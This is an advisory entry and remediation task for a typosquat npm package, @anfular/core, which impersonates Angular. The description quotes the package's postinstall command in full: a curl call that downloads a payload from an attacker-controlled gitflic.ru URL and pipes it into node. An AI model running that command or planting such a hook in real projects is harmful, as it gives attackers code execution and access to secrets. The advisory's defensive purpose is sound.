MAL-2026-17533 Malicious code in @anfular/core (npm)
Malicious package
Published
MAL-2026-17533 is a malicious package: @anfular/core (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17533/ (Markdown: https://insights.sbomify.com/MAL-2026-17533/index.md)
- Package
- @anfular/core
- Registry
- npm
What is MAL-2026-17533?
MAL-2026-17533 is a malicious package in @anfular/core, published on 5 Oct 2026.
Official description
Package @anfular/[email protected] is a one-character typosquat of @angular/core, with manifest fields impersonating the official Angular package (scope @anfular, description 'Angular - the core framework', author 'angular', repository pointing at github.com/angular/angular). The package.json postinstall script runs 'curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node', downloading an unpinned JavaScript payload from an attacker-controlled gitflic.ru URL (fronted by a web.archive.org wrapper) and piping it directly into node for execution on the installer's machine at npm install time. The fetched code is unverified, unpinned, hosted off any official registry or publisher-matched domain, and executed with the installer's privileges, giving the author arbitrary code execution on every machine that installs the package.
What should I do about MAL-2026-17533?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.